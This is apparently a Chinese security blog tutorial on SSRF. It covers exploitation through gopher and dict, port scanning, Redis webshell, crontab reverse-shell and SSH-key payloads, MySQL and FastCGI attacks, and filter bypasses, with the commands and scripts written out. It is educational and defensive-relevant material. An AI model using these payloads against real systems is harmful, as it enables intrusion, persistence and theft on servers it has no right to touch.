SSRF

SSRF(Server-side Request Fogery),服务器端请求伪造,是一种由攻击者构造形成服务端发起请求的一种安全漏洞。一般来说,SSRF的攻击目标是外部无法直接访问的服务器内网系统。

很多时候,网站都有从外部服务器获取资源的需求,比如加载外部图片。但如果我们能够控制服务器去请求哪个资源,如何去请求资源,我们便可以做一些不可描述的事情,服务端也形成了一个SSRF漏洞。

漏洞的产生

其实服务端请求外部服务器资源并没有什么问题,问题在于请求的资源让用户可控并且没有对目标地址做过滤与限制,这是问题的根源。

以php的curl为例,常见的SSRF的形成代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if(isset($_GET['url']))
{
$link = $_GET['url'];
$curl = curl_init();
curl_setopt($ch, CURLOPT_URL, $link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); # 不直接打印结果到屏幕,保存到变量中
$result = curl_exec($ch);
curl_close($ch);
$filename = './xxx/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>

这里没有对输入的url进行过滤和检测,也没有对请求返回的数据进行检测和过滤,形成了一个典型的SSRF漏洞。

php中,除了curlfile_get_contentsfsockopenfopen等可以向外部请求资源的函数都可能造成SSRF漏洞

gopher和dict协议

gopher协议

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。

Gopher 协议被称为万金油,它可以发送任意数据到服务器。因此,我们可以通过构造发送的数据来实现各种协议可以做的事情

gopher协议格式:
gopher://ip:port/_ + TCP数据 (这里的_是一种数据连接格式,换成任意字符都可以)

gopher协议的实现:
gopher会将后面的数据部分发送给相应的端口,这些数据可以是字符串,也可以是其他的数据请求包,比如GET,POST请求,redis,mysql未授权访问等,同时数据部分必须要进行url编码,这样gopher协议才能正确解析。

比如,这里使用nc -lp 9999监听本机9999端口,之后使用curl使用gopher协议发送curl gopher://127.0.0.1:9999/_abcdefg

20200416171538

这里推荐一个工具 https://github.com/firebroo/sec_tools/tree/master/common-gopher-tcp-stream
它可以监听某个端口的数据并将其转成%+16进制格式

安装好后使用方式为:./sniffer -p端口号

这里使用同样使用nc和curl来发送和接收数据,并使用sniffer来监听数据

20200416172158

我们获得了GET数据包的数据,接下来使用gopher协议来发送这个数据包:
20200416172359

可见,使用gopher发送了一个和之前的相同的数据包
需要注意的是,在浏览器中发送数据包需要将tcp数据再次进行url编码

经过测试发现 Gopher 的以下几点局限性:

  • 大部分 PHP 并不会开启 fopen 的 gopher wrapper
  • file_get_contents 的 gopher 协议不能 URLencode
  • file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
  • PHP 的 curl 默认不 follow 302 跳转
  • curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用

dict协议

dict是字典服务器协议,是基于查询响应的TCP协议。

dict协议有一个功能:dict://ip:port/name:data 向服务器的端口请求name data,并在末尾自动补上CRLF
也就是如果我们发出dict://ip:port/config:set:dir:/var/spool/cron/的请求,redis就执行了config set dir /var/spool/cron/ \r\n.用这种方式可以一步步执行redis getshell的exp,
执行完就能达到和gopher一样的效果,原理一样,但是gopher只需要一个url请求即可,dict需要步步构造。

这里同样使用nc来看一下dect发送的数据:
20200416193509

SSRF利用

端口扫描

因为大部分的TCP服务,在建立socket连接的时候就会发送banner信息,banner信息是ascii编码的,能够作为html数据显示出来,从而判断指定端口是否开放,以及开放的什么服务。

比如我测试的这里就将mysql和版本号回显了出来

20200416000344

除了根据直接的显示结果判断端口是否开放,还可以根据不同的错误码,返回信息的长度以及返回时间判断远程服务器的端口状态。

例如下面的python脚本就是利用端口连接时间作为依据进行端口扫描:
来源:https://www.anquanke.com/post/id/197431#h2-6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

def portscan(url):
ports = [21,22,23,25,69,80,81,82,83,84,110,389,443,445,488,512,513,514,873,901,1043,1089,1099,
1090,1158,1352,1433,1434,1521,2049,2100,2181,2601,2604,3128,3306,3307,3389,4440,4444,
4445,4484,5000,5280,5432,5500,5632,5900,5901,5902,5903,5904,5984,6000,6033,6082,6379,
6666,7001,7002,7070,7101,7676,7777,7899,7988,8000,8001,8002,8003,8004,8005,8006,8007,
8008,8009,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,
8095,8096,8098,8099,8980,8890,8443,8686,8787,8880,8888,9000,9001,9043,9045,9060,9080,
8081,9088,9090,9091,9100,9200,9300,9443,9871,9990,10000,10068,10086,11211,20000,22022,
22222,27017,28017,50060,50070]
for port in ports:
try:
url_get = url + "?url=ftp://127.0.0.1:{port}".format(port=port)
requests.get(url_get, timeout=6)
except:
print("[*]{port} open".format(port=port))

if __name__ == "__main__":
portscan("http://127.0.0.1/test/ssrf.php")

使用file协议读取文件

如果指定file协议,也可以读取到服务器上的文件
20200416002623

攻击内网web应用

当服务器内网存在web应用并且有漏洞时,可以通过SSRF漏洞来攻击内网的web服务

一般来说,外部无法访问服务器内部网络,但是如果存在SSRF漏洞,我们便可以通过SSRF将服务器作为跳板,从而对服务器内网web应用进行访问测试

通常服务器是允许我们发送GET请求的,这对于内网web应用GET方式就可以利用的漏洞非常方便,除此之外,我们还可以通过gopher等协议来构造数据包进行POST请求

攻击redis

如果内网中存在一个redis服务器,则可以利用SSRF与之通信,如果其没有密码或者是弱密码,则我们可以控制执行任意redis命令。

使用dict协议

前面讲到过,dict协议有一个功能:dict://ip:port/name:data 向服务器的端口请求name data,并在末尾自动补上CRLF

也就是我们可以通过dict协议发送数据来操控redis执行命令

测试一下:
首先在redis中set abc 1,将abc设置为1
20200416232010

之后利用dict协议发送set abc 2的命令,即dict://127.0.0.1:6379/set:abc:2
再次查看abc的值,成功被修改成了2
20200416231935

使用dict协议的坏处就是每次只能执行一句命令语句

使用gopher协议

我们可以使用gopher协议发送满足redis通信协议的数据包,让redis执行指定的命令

同样,这里使用sniffer工具来获取数据包。
20200416232311

之后在使用gopher协议发送该数据,可以看到abc被成功修改成了333
20200416232647

使用gopher协议可以执行多条语句

绝对路径写webshell

利用条件:

  • web目录下有写权限

先看看redis命令:

1
2
3
4
set a '<?php eval($_POST[1]);?>'      // 设置键a的值
config set dir /var/www/html // 设置数据保存的路径
config set dbfilename shell.php // 设置数据保存的文件名
save // 保存数据

知道了redis命令,可以通过gopher协议或者dict协议进行发送指令

20200416233945

利用contrab计划任务反弹shell

这个方法只能在Centos上使用,Ubuntu上行不通。原因如下:

  1. 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行
  2. 为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

由于系统的不同,crontrab定时文件位置也会不同

  • Centos的定时任务文件在/var/spool/cron/<username>
  • Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>

Centos和Ubuntu均存在的(需要root权限)/etc/crontab
PS:高版本的redis默认启动是redis权限,故写这个文件是行不通的

redis命令:

1
2
3
4
5
flushall       // 删除所有数据,不建议要这句
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/9999 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

其实这里的反弹shell原理就是通过redis保存数据文件来写入一个定时任务,通过执行定时任务里的反弹shell语句完成

写ssh公钥

如果.ssh目录存在,则直接写入~/.ssh/authorized_keys
如果不存在,则可以利用crontab创建该目录

redis命令

1
2
3
4
5
6
flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

攻击mysql

mysql连接方式

MySQL分为服务端和客户端,客户端连接服务器使存在三种方法:

  1. Unix套接字;
  2. 内存共享/命名管道;
  3. TCP/IP套接字;

在Linux或者Unix环境下,当我们输入mysql–uroot –proot登录MySQL服务器时就是用的Unix套接字连接;Unix套接字其实不是一个网络协议,只能在客户端和Mysql服务器在同一台电脑上才可以使用。

在window系统中客户端和Mysql服务器在同一台电脑上,可以使用命名管道和共享内存的方式。

TCP/IP套接字是在任何系统下都可以使用的方式,也是使用最多的连接方式,当我们输入mysql –h 127.0.0.1 –u root –proot时就是要TCP/IP套接字。

我们抓取的MySQL通信数据包必须使用TCP/IP套接字连接。

mysql认证过程

MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。

  • 当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证
  • 当无需密码认证时直接发送TCP/IP数据包即可

所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的

构造攻击包

通过上面MySQL通信协议的分析,现在需要构造一个基于TCP/IP的数据包,包括连接认证执行命令退出等MySQL通信数据。

我先使用SET PASSWORD FOR root@localhost=PASSWORD('');取消root用户的密码

同样使用sniffer工具抓取通信数据

使用mysql -uroot -h127.0.0.1 -e "create database a"来创建一个数据库,抓取执行这一命令的一系列动作的数据
在使用gopher协议发包

20200417000915

这样一来,我们可以通过gopher协议发送数据包来执行任意的sql语句,但不一定有回显结果,所以可以通过mysql执行select into outfile,但前提是当前用户必须存在file权限,以及导出到--secure-file-priv指定目录下,并且导入目录需要有写权限。

攻击FastCGI

参考:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

利用条件

  • libcurl版本>=7.45.0(由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断)
  • PHP-FPM监听端口
  • PHP-FPM版本 >= 5.3.3
  • 知道服务器上任意一个php文件的绝对路径

转换为Gopher的EXP
监听一个端口的流量 nc -lvvp 2333 > 1.txt,执行EXP,流量打到2333端口

1
python fpm.py -c "<?php system('echo sectest > /tmp/1.php'); exit;?>" -p 2333 127.0.0.1 php文件绝对路径

fpm.py地址 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

url编码

1
2
3
4
f = open('1.txt')
ff = f.read()
from urllib import quote
print quote(ff)

SSRF的绕过

常常在有SSRF漏洞的地方存在一些防护,例如禁止使用某些协议甚至只允许使用http/https协议。还有一种是限制访问的目标网站,禁止是127.0.0.1这种

绕过IP限制

更改IP地址的写法

我们可以将ip地址改写为其他进制,例如如192.168.0.1这个IP地址我们可以改写成:

1
2
3
4
8进制格式:0300.0250.0.1
6进制格式:0xC0.0xA8.0.1
10进制整数格式:3232235521
16进制整数格式:0xC0A80001

还有一种特殊的省略模式,例如10.0.0.1这个IP可以写成10.1

利用解析URL所出现的问题

在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。

1
http://www.baidu.com@192.168.0.1/

当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。

利用302跳转

如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。

(1)、在网络上存在一个很神奇的服务,http://xip.io 当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。
(2)、由于上述方法中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,我们可以通过短地址的方式来绕过。

同样的,我们也可以自行写一个跳转的服务接口来实现类似的功能。

参考

https://www.smi1e.top/gopher-ssrf攻击内网应用复现/
https://www.anquanke.com/post/id/197431
https://www.anquanke.com/post/id/145519
https://xz.aliyun.com/t/5665
https://blog.chaitin.cn/gopher-attack-surfaces/
https://www.freebuf.com/articles/web/135342.html

文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2020/04/17/web安全/ssrf/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog